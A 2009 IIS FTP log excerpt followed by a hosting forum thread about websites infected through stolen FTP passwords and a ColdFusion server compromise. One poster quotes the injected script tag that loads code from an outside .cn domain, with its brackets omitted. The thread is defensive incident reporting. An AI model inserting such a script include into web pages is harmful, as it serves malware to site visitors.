47715 2009-07-27 09:17:34 221.126.76.208 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51637]CWD _notes - 250 0 0 0 0 FTP - - -
47721 2009-07-27 09:17:39 221.126.76.208 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51637]CWD /username - 250 0 0 0 0 FTP - - -
47724 2009-07-27 09:17:40 221.126.76.208 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51637]CWD usersdomain.org - 250 0 0 0 0 FTP - - -
47727 2009-07-27 09:17:42 221.126.76.208 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51637]CWD Scripts - 250 0 0 0 0 FTP - - -
47737 2009-07-27 09:17:46 221.126.76.208 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51637]CWD /username - 250 0 0 0 0 FTP - - -
47739 2009-07-27 09:17:46 221.126.76.208 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51637]CWD usersdomain.org - 250 0 0 0 0 FTP - - -
47740 2009-07-27 09:17:47 221.126.76.208 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51637]CWD webalizer - 250 0 0 0 0 FTP - - -
47749 2009-07-27 09:17:52 221.126.76.208 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51637]QUIT - - 226 0 0 0 0 FTP - - -
47763 2009-07-27 09:18:01 190.172.131.95 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51658]USER username - 331 0 0 0 0 FTP - - -
47765 2009-07-27 09:18:02 190.172.131.95 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51658]PASS - - 230 0 0 0 422 FTP - - -
47768 2009-07-27 09:18:04 190.172.131.95 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51658]CWD usersdomain.org - 250 0 0 0 0 FTP - - -
47771 2009-07-27 09:18:08 190.172.131.95 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51658]sent /username/usersdomain.org/home.htm - 226 0 1864 0 266 FTP - - -
47773 2009-07-27 09:18:11 190.172.131.95 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51658]QUIT - - 226 0 0 0 16 FTP - - -
47781 2009-07-27 09:18:17 89.24.243.6 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51659]USER username - 331 0 0 0 0 FTP - - -
47783 2009-07-27 09:18:17 89.24.243.6 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51659]PASS - - 230 0 0 0 265 FTP - - -
47785 2009-07-27 09:18:18 89.24.243.6 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51659]CWD usersdomain.org - 250 0 0 0 0 FTP - - -
47789 2009-07-27 09:18:23 89.24.243.6 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51659]created /username/usersdomain.org/home.htm - 226 0 0 1864 1079 FTP - - -
47791 2009-07-27 09:18:23 89.24.243.6 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51659]QUIT - - 226 0 0 0 0 FTP - - -
47796 2009-07-27 09:18:27 94.189.169.48 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51660]USER username - 331 0 0 0 0 FTP - - -
47797 2009-07-27 09:18:27 94.189.169.48 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51660]PASS - - 230 0 0 0 0 FTP - - -
47800 2009-07-27 09:18:28 94.189.169.48 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51660]CWD usersdomain.org - 250 0 0 0 0 FTP - - -
47802 2009-07-27 09:18:30 94.189.169.48 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51660]sent /username/usersdomain.org/index.htm - 226 0 1832 0 157 FTP - - -
47808 2009-07-27 09:18:32 94.189.169.48 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51660]QUIT - - 226 0 0 0 0 FTP - - -
47823 2009-07-27 09:18:43 94.189.253.254 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51663]USER username - 331 0 0 0 0 FTP - - -
47825 2009-07-27 09:18:43 94.189.253.254 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51663]PASS - - 230 0 0 0 0 FTP - - -
47827 2009-07-27 09:18:45 94.189.253.254 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51663]CWD usersdomain.org - 250 0 0 0 0 FTP - - -
47831 2009-07-27 09:18:47 94.189.253.254 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51663]created /username/usersdomain.org/index.htm - 226 0 0 1832 297 FTP - - -
47832 2009-07-27 09:18:47 94.189.253.254 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51663]QUIT - - 226 0 0 0 0 FTP - - -
47836 2009-07-27 09:18:52 84.109.164.235 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51664]USER username - 331 0 0 0 0 FTP - - -
47837 2009-07-27 09:18:52 84.109.164.235 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51664]PASS - - 230 0 0 0 0 FTP - - -
47838 2009-07-27 09:18:55 84.109.164.235 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51664]CWD usersdomain.org - 250 0 0 0 0 FTP - - -
47840 2009-07-27 09:18:55 84.109.164.235 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51664]CWD webalizer - 250 0 0 0 0 FTP - - -
47845 2009-07-27 09:18:57 84.109.164.235 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51664]sent /username/usersdomain.org/webalizer/default.html - 226 0 8027 0 516 FTP - - -
47851 2009-07-27 09:18:59 84.109.164.235 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51664]QUIT - - 226 0 0 0 0 FTP - - -
47853 2009-07-27 09:19:02 98.169.126.78 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51666]USER username - 331 0 0 0 0 FTP - - -
47854 2009-07-27 09:19:02 98.169.126.78 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51666]PASS - - 230 0 0 0 0 FTP - - -
47856 2009-07-27 09:19:02 98.169.126.78 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51666]CWD usersdomain.org - 250 0 0 0 0 FTP - - -
47858 2009-07-27 09:19:03 98.169.126.78 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51666]CWD webalizer - 250 0 0 0 0 FTP - - -
47859 2009-07-27 09:19:05 98.169.126.78 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51666]created /username/usersdomain.org/webalizer/default.html - 226 0 0 8027 297 FTP - - -
47860 2009-07-27 09:19:05 98.169.126.78 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [51666]QUIT - - 226 0 0 0 0 FTP - - -
73548 2009-07-27 19:56:17 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52559]USER username - 331 0 0 0 0 FTP - - -
73549 2009-07-27 19:56:17 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52559]PASS - - 230 0 0 0 78 FTP - - -
73550 2009-07-27 19:56:17 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52559]CWD / - 250 0 0 0 0 FTP - - -
73561 2009-07-27 19:56:33 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52563]USER username - 331 0 0 0 0 FTP - - -
73562 2009-07-27 19:56:33 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52563]PASS - - 230 0 0 0 0 FTP - - -
73564 2009-07-27 19:56:33 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52564]USER username - 331 0 0 0 0 FTP - - -
73565 2009-07-27 19:56:33 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52564]PASS - - 230 0 0 0 0 FTP - - -
73569 2009-07-27 19:56:35 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52564]CWD /username/usersdomain.org - 250 0 0 0 0 FTP - - -
73570 2009-07-27 19:56:46 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52564]CWD /username/usersdomain.org - 250 0 0 0 0 FTP - - -
73571 2009-07-27 19:56:46 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52564]CWD /username/usersdomain.org - 250 0 0 0 0 FTP - - -
73572 2009-07-27 19:56:48 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52564]CWD /username/usersdomain.org - 250 0 0 0 0 FTP - - -
73574 2009-07-27 19:56:50 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52564]created /username/usersdomain.org/index.htm - 226 0 0 1732 453 FTP - - -
73624 2009-07-27 19:59:32 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52563]closed - - 421 121 0 0 178343 FTP - - -
73625 2009-07-27 19:59:32 200.116.158.250 username MSFTPSVC1 CL1-WIN28 64.71.235.185 21 [52564]closed - - 421 121 0 0 162468 FTP - - -
I just found out that at least one of my client’s sites were also hit with a malware script, installed at the top of each webpage. The script was as follows (brackets and closing tag omitted):
script src=http://bgadf.cn
Now I have to go check about 50 or so other sites!
Be sure to also change the FTP password, as it was recorded from their PC by these malicious softwares.
For the record, this is a client side issue and has been as much a problem on linux as on windows, but off to other work now!
All my sites have the same “bgadf . cn” script added to the top of every page.
I have a support ticket in for my case. I requested my FTP logs to try to match up which of my client PCs might be infected that is uploading these changed files. There wasn’t any FTP activity on the day that the files were changed. The server is either compromised or another user on the same server I’m on has written a script to add this code… server side issue.
We were hit again this week with the same, like yourself we did not access the ftp/site in question.
Fortunately, Google notified us of this - however in the most disappointing way - by adding a redirect from our clients’ homepages saying the site is infected.
Otherwise we would not have know the malware files were resident on the server. As for being client based, I still refute that as we had this malware on sites we hadn’t visited, and also not on sites we did visit - (affecting the index pages). So … I go back to work and Stephen might continue to work on this for us.
/a
Hemi and Areyouonthenet,
I know of one limited issue with some defacing on some sites, on one server(wincf) can you send me your Ticket IDs? I however have found and stopped the source of this and have not seen it happen again.
Also thought that all edits had been removed, but let me know ticket IDs and will check them.
Just to be clear, it isn’t you that accesses the FTP and edits, your password is stolen at some WHEN you do, then a botnet does it in cases this happens. when it is by FTP means and gumblar issue, this is how it happens.
But any FTP traffic (whether it be from my computer or another computer that is using my stolen password) should show activity in the FTP logs regardless, correct?
I’ll PM you my Ticket ID. Thank you.
Yes, and just to confirm on your issue, it was not FTP. it was possibly FTP at the start that allowed a compromised web uploader to be uploaded, but after that it was not FTP access to your account. (and just to be clear, it wasn’t FTP access to your account for the web uploader upload, it was another client)
About 30 accounts on wincf had a script inserted on cfm and js files.
I believe your issue and the original posters issue are fundamentally different.
I’m not happy. My wife discovered our family website infected again this morning.
I spent some time early last week making some of the vulnerable files read-only and even encrypted a small webpage using cfencode to see if that would protect my sites should it happen again.
Well, evidently this compromised server re-infected the .cfm and .js files and Jodo tried to clean them up last night… but they couldn’t cleanup my read-only files (that are still infected at this time) and their cleanup process broke the site that I had encrypted! Neato!
Yes, I submitted a nasty response to the ticket that is still open. Jodo isn’t addressing this issue but just trying to clean up after it which doesn’t work if the sites are readonly or encrypted.
What now? Try a new host?
Actually we did address the issue, we found the key problems that had been hidden in some other folders. These were all found at 2:30AM this morning, and stopped, along with the avenues used to get them there.
In addition this is a major attack against Coldfusion and the Internet Storm Center has a writeup about it:
SANS.edu Internet Storm Center - SANS Internet Storm Center
Every Cf host is facing this now, on a large scale. FCKEditors and CFWebstores are the avenues of attack.
some of our clients are not using CF, defaced too
any better security solution for this except for asking clients to change password? They ususally don;t buy it